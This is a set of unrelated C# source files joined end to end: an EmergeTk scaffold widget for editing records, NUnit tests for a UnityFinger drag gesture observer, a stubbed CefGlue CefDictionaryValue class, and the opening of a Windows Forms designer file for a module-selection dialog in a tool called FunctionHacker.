} private void insertEditAndDeleteButtons( Template pane ) { PlaceHolder editPh = pane.Find( "EditPlaceHolder" ) as PlaceHolder; PlaceHolder deletePh = pane.Find( "DeletePlaceHolder" ) as PlaceHolder; if( editPh != null && editPh.Widgets == null ) { Widget editButton = RootContext.CreateUnkownWidget(buttonType); editButton.Id = "EditButton"; string label = "Edit"; editButton.AppendClass("edit"); if( useImageButtons ) { string path = ThemeManager.Instance.RequestClientPath( "/Images/Icons/Edit.png" ); if( path != null ) { label = string.Format("<img src='{0}' title='Edit'>", path ); } } ((IButton)editButton).Label = label; editPh.ClassName = "Edit Button"; editButton.VisibleToPermission = EditVisibleTo; editButton.OnClick += new EventHandler<ClickEventArgs>(editButton_OnClick); editPh.Replace( editButton ); } if( deletePh != null && deletePh.Widgets == null ) { ConfirmButton deleteButton = RootContext.CreateWidget<ConfirmButton>(); deleteButton.Id = "DeleteButton"; string label = "Delete"; deleteButton.ConfirmTitle = "Confirm Deletion"; deleteButton.ConfirmText = "Please confirm that you want to delete this " + FriendlyModelName + "."; deleteButton.AppendClass("delete"); if( useImageButtons ) { string path = ThemeManager.Instance.RequestClientPath( "/Images/Icons/Delete.png" ); if( path != null ) { label = string.Format("<img src='{0}' title='Delete'>", path ); } } deleteButton.Label = label; deletePh.ClassName = "Delete Button"; deleteButton.VisibleToPermission = deleteVisibleTo; deleteButton.OnConfirm += new EventHandler<ClickEventArgs>(deleteButton_OnClick); deleteButton.OnClick += delegate { log.Debug("deletebutton clicked"); }; deletePh.Replace( deleteButton ); } } bool dataBound = false; private bool setDataSource() { if( dataSource == null ) { if( propertySource != null && this.Record != null && this.Record[propertySource] is IRecordList<T> ) { dataSource = this.Record[propertySource] as IRecordList<T>; dataSource.OnRecordAdded += new EventHandler<RecordEventArgs>( delegate( object sender, RecordEventArgs ea ) { log.Debug("RECORD ADDDED " + ea.Record); ea.Record.Parent = this.Record; this.Record.SaveRelations(propertySource); }); dataSource.OnRecordRemoved += new EventHandler<RecordEventArgs>( delegate( object sender, RecordEventArgs ea ) { log.Debug("RECORD REMOVED " + ea.Record ); this.Record.SaveRelations(propertySource); }); if( grid != null ) grid.DataSource = dataSource; return true; } else log.Warn("Did not set property source", this, this.Record, propertySource, dataSource ); } return false; } public void Refresh() { DataSource = DataProvider.LoadList<T>(query.ToArray()); DataBind(); } public void DataBind() { if (!this.Initialized) { //TODO: why can't we call init first? throw new ApplicationException("Scaffolds must be initialized before databinding."); } setDataSource(); if( dataSource != null && grid != null ) { grid.IsDataBound = false; grid.DataBind(); } dataBound = true; } public bool IsDataBound { get { return dataBound; } set { dataBound = value; } } public override bool Render (Surface surface) { if( ! dataBound ) DataBind(); return base.Render(surface); } private void add_OnClick(object sender, ClickEventArgs ea) { //add the form. ShowAddForm(); } public Stack Stack { get { if( stack == null ) { stack = FindAncestor<Stack>(); } return stack; } set { stack = value; } } public void ShowAddForm() { if( showAddButtonWidget != null ) showAddButtonWidget.Visible = false; addForm = RootContext.CreateWidget<ModelForm<T>>(); if( !string.IsNullOrEmpty(EditTemplate) ) addForm.Template = EditTemplate; if( ! useStack ) addPane.Add(addForm); else Stack.Push(addForm); if( AddPermission != null ) addForm.Permission = addPermission; addForm.EnsureCurrentRecordOnEdit = false; if (DataSource != null) { addForm.Record = DataSource.NewRowT(); addForm.Record.EnsureId(); } else throw new NullReferenceException("DataSource should not be null."); if( applyFiltersToNew && DataSource != null && DataSource.Filters != null ) { foreach( FilterInfo fi in DataSource.Filters ) { addForm.Record[ fi.ColumnName ] = fi.Value; } } if( defaultValues != null ) { foreach( FilterInfo fi in defaultValues ) { addForm.Record[ fi.ColumnName ] = fi.Value; } } addForm.ReadOnlyFields = readOnlyFields; addForm.buttonType = this.buttonType; addForm.IgnoreDefaultTemplate = ignoreDefaultEditTemplate; //addForm.SaveAsYouGo = saveAsYouGo; addForm.DestructivelyEdit = true; addForm.ButtonLabel = "Add"; if( AddExpanded ) addForm.ShowCancelButton = false; if( editTemplateNode != null ) { addForm.TagName = this.templateTagName ?? "div"; addForm.ParseElement(editTemplateNode); } addForm.AvailableRecords = availableRecordLists; addForm.AppendClass("item"); addForm.OnBeforeSubmit += new EventHandler<EmergeTk.ModelFormEventArgs<T>>(Add_OnSubmit); addForm.OnValidationFailed += delegate { addForm.StateBag.Remove("added"); }; addForm.OnAfterSubmit += delegate( object sender, EmergeTk.ModelFormEventArgs<T> ea ) { if( ! dataSource.Contains( addForm.Record ) ) dataSource.Add(addForm.Record); addForm = null; showAddButtonWidget.Visible = true; if (AddExpanded) { ShowAddForm(); } OnAfterSubmit(this, ea ); //if( UseStack ) // stack.Pop(); }; addForm.OnCancel += delegate { addForm.Remove(); addForm = null; showAddButtonWidget.Visible = true; if( UseStack ) Stack.Pop(); }; addForm.Id = "AddPane"; addForm.Init(); //addPane.Add(addForm); } private Object addLocker = new Object(); void Add_OnSubmit(object sender, EmergeTk.ModelFormEventArgs<T> ea ) { lock (this.addLocker) { if (ea.Form.StateBag.ContainsKey("added")) { throw new OperationCanceledException("add model form has already been submitted."); } else { ea.Form.StateBag["added"] = true; } } if( OnBeforeSave != null ) { ItemEventArgs iea = new ItemEventArgs(ea.Form.TRecord, null); OnBeforeSave(this, iea); if( ! iea.DoSave ) throw new OperationCanceledException(); } if( dataSource == null ) { dataSource = new RecordList<T>(); DataBind(); } // addForm.Remove(); } public override void ParseElement(System.Xml.XmlNode n) { //override for Grid, which is essenially a repeater. //and Add and Edit forms, which will be some sort of Pane. switch (n.LocalName) { case "GridTemplate": ParseGridTemplate(n); break; case "EditTemplate": editTemplateNode = n; break; case "AvailableRecords": ParseAvailableRecords(n); break; case "ReadOnlyField": ParseFieldBehavior(n); break; } } private System.Xml.XmlNode editTemplateNode; List<ColumnInfo> readOnlyFields; private void ParseFieldBehavior(System.Xml.XmlNode n) { T r = new T(); ReadOnlyFields.Add(r.GetFieldInfoFromName(n.Attributes["Name"].Value)); } Dictionary<string, AvailableRecordInfo> availableRecordLists; private void ParseAvailableRecords(System.Xml.XmlNode n) { //Field="InStockAt" Source="availableStores" if (availableRecordLists == null) availableRecordLists = new Dictionary<string, AvailableRecordInfo>(); AvailableRecordInfo info = new AvailableRecordInfo(); info.Source = n.Attributes["Source"].Value; if( n.Attributes["Format"] != null ) info.Format = n.Attributes["Format"].Value; availableRecordLists[n.Attributes["Field"].Value] = info; } private void ParseGridTemplate(System.Xml.XmlNode n) { string model = null; if (n.Attributes["Model"] != null) { model = n.Attributes["Model"].Value; n.Attributes.Remove(n.Attributes["Model"]); } if (n.Attributes["Order"] != null) { order = n.Attributes["Order"].Value; n.Attributes.Remove(n.Attributes["Order"]); } Template p = RootContext.CreateWidget<Template>(); //careful here - this is a bit of hack to get event handlers to wire up correctly p.Parent = this; p.ParseAttributes(n); p.ParseXml(n); if (model == null) { customGridTemplate = p; } else { if (customGridTemplates == null) customGridTemplates = new Hashtable(); customGridTemplates[model] = p; } } private ModelForm<T> SetupEditForm() { ModelForm<T> mf = RootContext.CreateWidget<ModelForm<T>>(); if( !string.IsNullOrEmpty(EditTemplate) ) mf.Template = EditTemplate; mf.EnsureCurrentRecordOnEdit = this.EnsureCurrentRecordOnEdit; if( editPermission != null ) mf.Permission = editPermission; mf.buttonType = this.buttonType; mf.ButtonLabel = "Save"; mf.ReadOnlyFields = readOnlyFields; mf.IgnoreDefaultTemplate = ignoreDefaultEditTemplate; mf.SaveAsYouGo = SaveAsYouGo; mf.ShowDeleteButton = showDeleteButton; mf.DestructivelyEdit = destructivelyEdit; if( editTemplateNode != null ) { mf.TagName = this.templateTagName ?? "div"; mf.ParseElement(editTemplateNode); } mf.AvailableRecords = availableRecordLists; mf.AppendClass("item"); mf.OnBeforeSubmit += Edit_OnSubmit; mf.OnCancel += mf_OnCancel; mf.OnAfterSubmit += OnAfterSubmit; return mf; } private ModelForm<T> GetEditForm(Template t) { ModelForm<T> mf = SetupEditForm(); if( editPermission != null ) mf.Permission = editPermission; log.Debug("editing record", t.Record); mf.Record = t.Record; mf.Id = "editform-" + t.Record.Definition; mf.StateBag["viewWidget"] = t; mf.Init(); return mf; } bool showTemplateWhileEditing = false; bool modalEdit = false; private void editButton_OnClick(object sender, ClickEventArgs ea) { log.Debug("editButton_OnClick"); Template t = ea.Source.FindAncestor<Template>(); associateEditForm( t ); } private void associateEditForm( Template t ) { log.Debug("associateEditForm"); Widget editForm = GetEditForm(t); if( useStack ) { Stack.Push( editForm ); } else if( modalEdit ) { grid.InsertBefore( editForm ); grid.Visible = false; } else { if( ! showTemplateWhileEditing ) t.Visible = false; t.InsertAfter( editForm ); } if( this.showAddButton != null ) (this.showAddButton as Widget).Visible = false; } void mf_OnCancel(object sender, EmergeTk.ModelFormEventArgs<T> ea ) { Template t =(ea.Form.StateBag["viewWidget"] as Template); grid.Visible = true; if( UseStack ) Stack.Pop(); if( this.showAddButton != null ) (this.showAddButton as Widget).Visible = true; t.Visible = true; ea.Form.Remove(); } public void OnAfterSubmit( object sender, EmergeTk.ModelFormEventArgs<T> ea) { Template t = null; if( ea.Form.StateBag.ContainsKey( "viewWidget" ) ) { t = (ea.Form.StateBag["viewWidget"] as Template); } if( OnAfterSave != null ) { ItemEventArgs iea = new ItemEventArgs(ea.Form.TRecord,t); OnAfterSave( this, iea ); } if( modalEdit ) { grid.Visible = true; } if( UseStack ) Stack.Pop(); else ea.Form.Remove(); //since we are making fresh copies of records on modelform edits, wehn we're done with the submission, //we want to rebind the template to the new version. if( t != null ) { int index = this.dataSource.IndexOf(t.Record); this.dataSource[index] = ea.Form.TRecord; t.Unbind(); t.DataBindWidget(ea.Form.TRecord,true); } if( this.showAddButton != null ) (this.showAddButton as Widget).Visible = true; } void Edit_OnSubmit(object sender, EmergeTk.ModelFormEventArgs<T> ea ) { Template t =(ea.Form.StateBag["viewWidget"] as Template); if( OnBeforeSave != null ) { ItemEventArgs iea = new ItemEventArgs(ea.Form.TRecord,t); OnBeforeSave(this, iea); if( ! iea.DoSave ) throw new OperationCanceledException(); } } private void deleteButton_OnClick(object sender, ClickEventArgs ea ) { if( deletePermission != null ) { RootContext.EnsureAccess( deletePermission, delegate { delete( ea.Source ); }); } else delete( ea.Source ); } private void delete(Widget w) { Template t = w.FindAncestor<Template>(); w.Record.Delete(); while( t.Widgets.Count > 0 ) t.RemoveChild( t.Widgets[0] ); } #region IDataSourced Members IRecordList IDataSourced.DataSource { get { return DataSource as IRecordList; } set { DataSource = value as IRecordList<T>; } } public virtual EmergeTk.Widgets.Html.Repeater<T> Grid { get { if( grid == null ) grid = RootContext.CreateWidget<Repeater<T>>(); return grid; } } public virtual bool UsePager { get { return usePager; } set { usePager = value; } } public virtual int PageSize { get { return pageSize; } set { pageSize = value; } } public virtual System.Collections.Generic.List<EmergeTk.Model.ColumnInfo> ReadOnlyFields { get { if( readOnlyFields == null ) readOnlyFields = new List<ColumnInfo>(); return readOnlyFields; } set { readOnlyFields = value; } } public virtual string TagName { get { return tagName; } set { tagName = value; if( grid != null ) grid.TagName = value; } } public virtual string TemplateTagName { get { return templateTagName; } set { templateTagName = value; if( grid != null ) grid.TemplateTagName = value; } } public virtual string PropertySource { get { return propertySource; } set { if( grid != null ) grid.PropertySource = value; propertySource = value; setDataSource(); } } public System.Collections.Generic.List<IQueryInfo> Query { get { return query; } set { query = value; } } public bool ApplyFiltersToNew { get { return applyFiltersToNew; } set { applyFiltersToNew = value; } } public bool ShowTemplateWhileEditing { get { return showTemplateWhileEditing; } set { showTemplateWhileEditing = value; } } public bool ModalEdit { get { return modalEdit; } set { modalEdit = value; } } public List<FilterInfo> DefaultValues { get { if( defaultValues == null ) defaultValues = new List<FilterInfo>(); return defaultValues; } set { defaultValues = value; } } public bool IgnoreDefaultEditTemplate { get { return ignoreDefaultEditTemplate; } set { ignoreDefaultEditTemplate = value; } } public bool SaveAsYouGo { get { return saveAsYouGo; } set { saveAsYouGo = value; } } public bool DestructivelyEdit { get { return destructivelyEdit; } set { destructivelyEdit = value; } } public bool AddExpanded { get { return addExpanded; } set { if( value ) showNewButton = false; addExpanded = value; } } public bool UseEditForView { get { return useEditForView; } set { useEditForView = value; } } public bool ShowDeleteButton { get { return showDeleteButton; } set { showDeleteButton = value; } } public Template CustomGridTemplate { get { if (this.customGridTemplate == null) { XmlNode node = ThemeManager.Instance.RequestView( typeof(T).FullName.Replace('.', Path.DirectorySeparatorChar) + ".scaffoldtemplate" ); if ( node != null ) { this.customGridTemplate = RootContext.CreateWidget<Template>(this, null, node); } } return customGridTemplate; } set { this.customGridTemplate = value; } } public AbstractRecord Selected { get { throw new NotImplementedException(); } set { throw new NotImplementedException(); } } public Permission EditVisibleTo { get { return editVisibleTo; } set { editVisibleTo = value; } } public XmlNode EditTemplateNode { get { return editTemplateNode; } set { editTemplateNode = value; } } public Permission DeleteVisibleTo { get { return deleteVisibleTo; } set { deleteVisibleTo = value; } } public Permission DeletePermission { get { return deletePermission; } set { deletePermission = value; } } public Permission AddVisibleTo { get { return addVisibleTo; } set { addVisibleTo = value; } } public Permission AddPermission { get { return addPermission; } set { addPermission = value; } } public Permission EditPermission { get { return editPermission; } set { editPermission = value; } } public bool UseStack { get { return useStack; } set { useStack = value; } } #endregion public class ItemEventArgs : EventArgs { public T UncommittedRecord; public T Record; public Template View; public bool DoSave = true; public ItemEventArgs(T record, Template view) { Record = record; View = view; } public ItemEventArgs(T uncommittedRecord, T record, Template view) { Record = record; View = view; UncommittedRecord = uncommittedRecord; } } } }
using NUnit.Framework; using UnityFinger.Factories; using UnityEngine; using System; namespace UnityFinger.Test { class DragObserverTest : IDragListener { DragInfo? dragStartInfo; DragInfo? dragInfo; bool dragEnd; [SetUp] public void SetUp() { dragStartInfo = null; dragInfo = null; dragEnd = false; } ObserverTestSet<DragObserverFactory> SetUpTestSet(DragOptionFlag optionFlag) { var testConfig = new TestConfig(); testConfig.DragOptionFlag = optionFlag; var testSet = new ObserverTestSet<DragObserverFactory>(); testSet.SetUp(() => new DragObserverFactory(testConfig, this)); return testSet; } void IDragListener.OnDragStart(DragInfo info) { dragStartInfo = info; } void IDragListener.OnDrag(DragInfo info) { dragInfo = info; } void IDragListener.OnDragEnd() { dragEnd = true; } [Test] public void Works() { var testSet = SetUpTestSet(DragOptionFlag.None); testSet.Input.FingerCount = 1; testSet.Input.SetPosition(new Vector2(10f, 10f)); Assert.IsTrue(testSet.Enumerator.MoveNext()); Assert.AreEqual(Observation.None, testSet.Enumerator.Current); testSet.Timer.ElapsedTime = 2.0f; testSet.Input.SetPosition(new Vector2(11f, 11f)); Assert.IsTrue(testSet.Enumerator.MoveNext()); Assert.AreEqual(Observation.Fired, testSet.Enumerator.Current); Assert.IsTrue(dragStartInfo.HasValue); Assert.AreEqual(new Vector2(10f, 10f), dragStartInfo.Value.Origin); Assert.AreEqual(new Vector2(10f, 10f), dragStartInfo.Value.Previous); Assert.AreEqual(new Vector2(11f, 11f), dragStartInfo.Value.Current); testSet.Input.SetPosition(new Vector2(13f, 13f)); Assert.IsTrue(testSet.Enumerator.MoveNext()); Assert.AreEqual(Observation.Fired, testSet.Enumerator.Current); Assert.IsTrue(dragInfo.HasValue); Assert.AreEqual(new Vector2(10f, 10f), dragInfo.Value.Origin); Assert.AreEqual(new Vector2(11f, 11f), dragInfo.Value.Previous); Assert.AreEqual(new Vector2(13f, 13f), dragInfo.Value.Current); testSet.Input.FingerCount = 0; Assert.IsTrue(testSet.Enumerator.MoveNext()); Assert.AreEqual(Observation.Fired, testSet.Enumerator.Current); Assert.IsTrue(dragEnd); Assert.IsFalse(testSet.Enumerator.MoveNext()); } [Test] public void FailsIfTimeIsNotElapsed() { var testSet = SetUpTestSet(DragOptionFlag.None); testSet.Input.FingerCount = 1; testSet.Input.SetPosition(new Vector2(10f, 10f)); Assert.IsTrue(testSet.Enumerator.MoveNext()); Assert.AreEqual(Observation.None, testSet.Enumerator.Current); // finger moved enought to invoke, but time is not enough elpased testSet.Timer.ElapsedTime = 0.5f; testSet.Input.SetPosition(new Vector2(13f, 13f)); Assert.IsTrue(testSet.Enumerator.MoveNext()); Assert.AreEqual(Observation.None, testSet.Enumerator.Current); Assert.IsFalse(dragStartInfo.HasValue); } [Test] public void FailsIfFingerDoesntMove() { var testSet = SetUpTestSet(DragOptionFlag.None); testSet.Input.FingerCount = 1; testSet.Input.SetPosition(new Vector2(10f, 10f)); Assert.IsTrue(testSet.Enumerator.MoveNext()); Assert.AreEqual(Observation.None, testSet.Enumerator.Current); testSet.Timer.ElapsedTime = 2.0f; testSet.Input.SetPosition(new Vector2(10f, 10f)); Assert.IsTrue(testSet.Enumerator.MoveNext()); Assert.AreEqual(Observation.None, testSet.Enumerator.Current); Assert.IsFalse(dragStartInfo.HasValue); } [Test] public void WorksIgnoreOthersFlag() { var testSet = SetUpTestSet(DragOptionFlag.IgnoreOthers); testSet.Input.FingerCount = 1; testSet.Input.SetPosition(new Vector2(10f, 10f)); Assert.IsTrue(testSet.Enumerator.MoveNext()); Assert.AreEqual(Observation.None, testSet.Enumerator.Current); // time elapsed within DragDuration testSet.Timer.ElapsedTime = 0.5f; testSet.Input.SetPosition(new Vector2(11f, 11f)); Assert.IsTrue(testSet.Enumerator.MoveNext()); Assert.AreEqual(Observation.Fired, testSet.Enumerator.Current); Assert.IsTrue(dragStartInfo.HasValue); Assert.AreEqual(new Vector2(10f, 10f), dragStartInfo.Value.Origin); Assert.AreEqual(new Vector2(10f, 10f), dragStartInfo.Value.Previous); Assert.AreEqual(new Vector2(11f, 11f), dragStartInfo.Value.Current); } [Test] public void FailsIgnoreOthersFlagIfFingerDoesntMove() { var testSet = SetUpTestSet(DragOptionFlag.IgnoreOthers); testSet.Input.FingerCount = 1; testSet.Input.SetPosition(new Vector2(10f, 10f)); Assert.IsTrue(testSet.Enumerator.MoveNext()); Assert.AreEqual(Observation.None, testSet.Enumerator.Current); // time elapsed within DragDuration, and finger didn't move testSet.Timer.ElapsedTime = 0.5f; Assert.IsTrue(testSet.Enumerator.MoveNext()); Assert.AreEqual(Observation.None, testSet.Enumerator.Current); Assert.IsFalse(dragStartInfo.HasValue); } [Test] public void WorksImmediateFlag() { var testSet = SetUpTestSet(DragOptionFlag.Immediate); testSet.Input.FingerCount = 1; testSet.Input.SetPosition(new Vector2(10f, 10f)); Assert.IsTrue(testSet.Enumerator.MoveNext()); Assert.AreEqual(Observation.None, testSet.Enumerator.Current); // finger has moved slightly testSet.Input.SetPosition(new Vector2(10.1f, 10.1f)); Assert.IsTrue(testSet.Enumerator.MoveNext()); Assert.AreEqual(Observation.None, testSet.Enumerator.Current); // time elapsed over DragDuration, and finger has moved slightly again testSet.Input.SetPosition(new Vector2(10.2f, 10.2f)); testSet.Timer.ElapsedTime = 2.0f; Assert.IsTrue(testSet.Enumerator.MoveNext()); Assert.AreEqual(Observation.Fired, testSet.Enumerator.Current); Assert.IsTrue(dragStartInfo.HasValue); Assert.AreEqual(new Vector2(10f, 10f), dragStartInfo.Value.Origin); Assert.AreEqual(new Vector2(10.1f, 10.1f), dragStartInfo.Value.Previous); Assert.AreEqual(new Vector2(10.2f, 10.2f), dragStartInfo.Value.Current); } [Test] public void FailsImmediateFlagIfFingerDoesntMove() { var testSet = SetUpTestSet(DragOptionFlag.Immediate); testSet.Input.FingerCount = 1; testSet.Input.SetPosition(new Vector2(10f, 10f)); Assert.IsTrue(testSet.Enumerator.MoveNext()); Assert.AreEqual(Observation.None, testSet.Enumerator.Current); // time elapsed within DragDuration, and finger didn't move testSet.Timer.ElapsedTime = 0.5f; Assert.IsTrue(testSet.Enumerator.MoveNext()); Assert.AreEqual(Observation.None, testSet.Enumerator.Current); Assert.IsFalse(dragStartInfo.HasValue); } } }
namespace Xilium.CefGlue { using System; using System.Collections.Generic; using System.Diagnostics; using System.Runtime.InteropServices; using Xilium.CefGlue.Interop; /// <summary> /// Class representing a dictionary value. Can be used on any process and thread. /// </summary> public sealed unsafe partial class CefDictionaryValue { /// <summary> /// Creates a new object that is not owned by any other object. /// </summary> public static cef_dictionary_value_t* Create() { throw new NotImplementedException(); // TODO: CefDictionaryValue.Create } /// <summary> /// Returns true if this object is valid. This object may become invalid if /// the underlying data is owned by another object (e.g. list or dictionary) /// and that other object is then modified or destroyed. Do not call any other /// methods if this method returns false. /// </summary> public int IsValid() { throw new NotImplementedException(); // TODO: CefDictionaryValue.IsValid } /// <summary> /// Returns true if this object is currently owned by another object. /// </summary> public int IsOwned() { throw new NotImplementedException(); // TODO: CefDictionaryValue.IsOwned } /// <summary> /// Returns true if the values of this object are read-only. Some APIs may /// expose read-only objects. /// </summary> public int IsReadOnly() { throw new NotImplementedException(); // TODO: CefDictionaryValue.IsReadOnly } /// <summary> /// Returns true if this object and |that| object have the same underlying /// data. If true modifications to this object will also affect |that| object /// and vice-versa. /// </summary> public int IsSame(cef_dictionary_value_t* that) { throw new NotImplementedException(); // TODO: CefDictionaryValue.IsSame } /// <summary> /// Returns true if this object and |that| object have an equivalent underlying /// value but are not necessarily the same object. /// </summary> public int IsEqual(cef_dictionary_value_t* that) { throw new NotImplementedException(); // TODO: CefDictionaryValue.IsEqual } /// <summary> /// Returns a writable copy of this object. If |exclude_empty_children| is true /// any empty dictionaries or lists will be excluded from the copy. /// </summary> public cef_dictionary_value_t* Copy(int exclude_empty_children) { throw new NotImplementedException(); // TODO: CefDictionaryValue.Copy } /// <summary> /// Returns the number of values. /// </summary> public UIntPtr GetSize() { throw new NotImplementedException(); // TODO: CefDictionaryValue.GetSize } /// <summary> /// Removes all values. Returns true on success. /// </summary> public int Clear() { throw new NotImplementedException(); // TODO: CefDictionaryValue.Clear } /// <summary> /// Returns true if the current dictionary has a value for the given key. /// </summary> public int HasKey(cef_string_t* key) { throw new NotImplementedException(); // TODO: CefDictionaryValue.HasKey } /// <summary> /// Reads all keys for this dictionary into the specified vector. /// </summary> public int GetKeys(cef_string_list* keys) { throw new NotImplementedException(); // TODO: CefDictionaryValue.GetKeys } /// <summary> /// Removes the value at the specified key. Returns true is the value was /// removed successfully. /// </summary> public int Remove(cef_string_t* key) { throw new NotImplementedException(); // TODO: CefDictionaryValue.Remove } /// <summary> /// Returns the value type for the specified key. /// </summary> public CefValueType GetType(cef_string_t* key) { throw new NotImplementedException(); // TODO: CefDictionaryValue.GetType } /// <summary> /// Returns the value at the specified key. For simple types the returned /// value will copy existing data and modifications to the value will not /// modify this object. For complex types (binary, dictionary and list) the /// returned value will reference existing data and modifications to the value /// will modify this object. /// </summary> public cef_value_t* GetValue(cef_string_t* key) { throw new NotImplementedException(); // TODO: CefDictionaryValue.GetValue } /// <summary> /// Returns the value at the specified key as type bool. /// </summary> public int GetBool(cef_string_t* key) { throw new NotImplementedException(); // TODO: CefDictionaryValue.GetBool } /// <summary> /// Returns the value at the specified key as type int. /// </summary> public int GetInt(cef_string_t* key) { throw new NotImplementedException(); // TODO: CefDictionaryValue.GetInt } /// <summary> /// Returns the value at the specified key as type double. /// </summary> public double GetDouble(cef_string_t* key) { throw new NotImplementedException(); // TODO: CefDictionaryValue.GetDouble } /// <summary> /// Returns the value at the specified key as type string. /// </summary> public cef_string_userfree* GetString(cef_string_t* key) { throw new NotImplementedException(); // TODO: CefDictionaryValue.GetString } /// <summary> /// Returns the value at the specified key as type binary. The returned /// value will reference existing data. /// </summary> public cef_binary_value_t* GetBinary(cef_string_t* key) { throw new NotImplementedException(); // TODO: CefDictionaryValue.GetBinary } /// <summary> /// Returns the value at the specified key as type dictionary. The returned /// value will reference existing data and modifications to the value will /// modify this object. /// </summary> public cef_dictionary_value_t* GetDictionary(cef_string_t* key) { throw new NotImplementedException(); // TODO: CefDictionaryValue.GetDictionary } /// <summary> /// Returns the value at the specified key as type list. The returned value /// will reference existing data and modifications to the value will modify /// this object. /// </summary> public cef_list_value_t* GetList(cef_string_t* key) { throw new NotImplementedException(); // TODO: CefDictionaryValue.GetList } /// <summary> /// Sets the value at the specified key. Returns true if the value was set /// successfully. If |value| represents simple data then the underlying data /// will be copied and modifications to |value| will not modify this object. If /// |value| represents complex data (binary, dictionary or list) then the /// underlying data will be referenced and modifications to |value| will modify /// this object. /// </summary> public int SetValue(cef_string_t* key, cef_value_t* value) { throw new NotImplementedException(); // TODO: CefDictionaryValue.SetValue } /// <summary> /// Sets the value at the specified key as type null. Returns true if the /// value was set successfully. /// </summary> public int SetNull(cef_string_t* key) { throw new NotImplementedException(); // TODO: CefDictionaryValue.SetNull } /// <summary> /// Sets the value at the specified key as type bool. Returns true if the /// value was set successfully. /// </summary> public int SetBool(cef_string_t* key, int value) { throw new NotImplementedException(); // TODO: CefDictionaryValue.SetBool } /// <summary> /// Sets the value at the specified key as type int. Returns true if the /// value was set successfully. /// </summary> public int SetInt(cef_string_t* key, int value) { throw new NotImplementedException(); // TODO: CefDictionaryValue.SetInt } /// <summary> /// Sets the value at the specified key as type double. Returns true if the /// value was set successfully. /// </summary> public int SetDouble(cef_string_t* key, double value) { throw new NotImplementedException(); // TODO: CefDictionaryValue.SetDouble } /// <summary> /// Sets the value at the specified key as type string. Returns true if the /// value was set successfully. /// </summary> public int SetString(cef_string_t* key, cef_string_t* value) { throw new NotImplementedException(); // TODO: CefDictionaryValue.SetString } /// <summary> /// Sets the value at the specified key as type binary. Returns true if the /// value was set successfully. If |value| is currently owned by another object /// then the value will be copied and the |value| reference will not change. /// Otherwise, ownership will be transferred to this object and the |value| /// reference will be invalidated. /// </summary> public int SetBinary(cef_string_t* key, cef_binary_value_t* value) { throw new NotImplementedException(); // TODO: CefDictionaryValue.SetBinary } /// <summary> /// Sets the value at the specified key as type dict. Returns true if the /// value was set successfully. If |value| is currently owned by another object /// then the value will be copied and the |value| reference will not change. /// Otherwise, ownership will be transferred to this object and the |value| /// reference will be invalidated. /// </summary> public int SetDictionary(cef_string_t* key, cef_dictionary_value_t* value) { throw new NotImplementedException(); // TODO: CefDictionaryValue.SetDictionary } /// <summary> /// Sets the value at the specified key as type list. Returns true if the /// value was set successfully. If |value| is currently owned by another object /// then the value will be copied and the |value| reference will not change. /// Otherwise, ownership will be transferred to this object and the |value| /// reference will be invalidated. /// </summary> public int SetList(cef_string_t* key, cef_list_value_t* value) { throw new NotImplementedException(); // TODO: CefDictionaryValue.SetList } } }
namespace FunctionHacker.Forms { partial class formSelectModules { /// <summary> /// Required designer variable. /// </summary> private System.ComponentModel.IContainer components = null; /// <summary> /// Clean up any resources being used. /// </summary> /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param> protected override void Dispose(bool disposing) { if (disposing && (components != null)) { components.Dispose(); } base.Dispose(disposing); } #region Windows Form Designer generated code /// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { this.btnCancel = new System.Windows.Forms.Button(); this.btnOk = new System.Windows.Forms.Button(); this.listModules = new System.Windows.Forms.ListView(); this.columnHeader1 = new System.Windows.Forms.ColumnHeader(); this.columnHeader3 = new System.Windows.Forms.ColumnHeader(); this.columnHeader2 = new System.Windows.Forms.ColumnHeader(); this.btnUncheckAll = new System.Windows.Forms.Button(); this.btnCheckAll = new System.Windows.Forms.Button(); this.label2 = new System.Windows.Forms.Label(); this.panel5 = new System.Windows.Forms.Panel(); this.checkAggressiveDereferencing = new System.Windows.Forms.CheckBox(); this.checkForceAllIntermodular = new System.Windows.Forms.CheckBox(); this.checkOnlyIntermodular = new System.Windows.Forms.CheckBox(); this.checkInjectCallbacks = new System.Windows.Forms.CheckBox(); this.panel5.SuspendLayout(); this.SuspendLayout(); // // btnCancel // this.btnCancel.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); this.btnCancel.Location = new System.Drawing.Point(746, 394); this.btnCancel.Name = "btnCancel"; this.btnCancel.Size = new System.Drawing.Size(94, 23); this.btnCancel.TabIndex = 3; this.btnCancel.Text = "Cancel"; this.btnCancel.UseVisualStyleBackColor = true; this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click); // // btnOk // this.btnOk.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); this.btnOk.DialogResult = System.Windows.Forms.DialogResult.OK; this.btnOk.Location = new System.Drawing.Point(846, 394); this.btnOk.Name = "btnOk"; this.btnOk.Size = new System.Drawing.Size(94, 23); this.btnOk.TabIndex = 1; this.btnOk.Text = "OK"; this.btnOk.UseVisualStyleBackColor = true; this.btnOk.Click += new System.EventHandler(this.btnOk_Click); // // listModules // this.listModules.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.listModules.CheckBoxes = true; this.listModules.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { this.columnHeader1, this.columnHeader3, this.columnHeader2}); this.listModules.Location = new System.Drawing.Point(0, 0); this.listModules.Name = "listModules"; this.listModules.Size = new System.Drawing.Size(941, 389); this.listModules.Sorting = System.Windows.Forms.SortOrder.Ascending; this.listModules.TabIndex = 5; this.listModules.UseCompatibleStateImageBehavior = false; this.listModules.View = System.Windows.Forms.View.Details; // // columnHeader1 // this.columnHeader1.Text = "Module Name"; this.columnHeader1.Width = 151; // // columnHeader3 // this.columnHeader3.Text = "Base Address"; this.columnHeader3.Width = 129; // // columnHeader2 // this.columnHeader2.Text = "Module Path"; this.columnHeader2.Width = 408; // // btnUncheckAll // this.btnUncheckAll.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); this.btnUncheckAll.Location = new 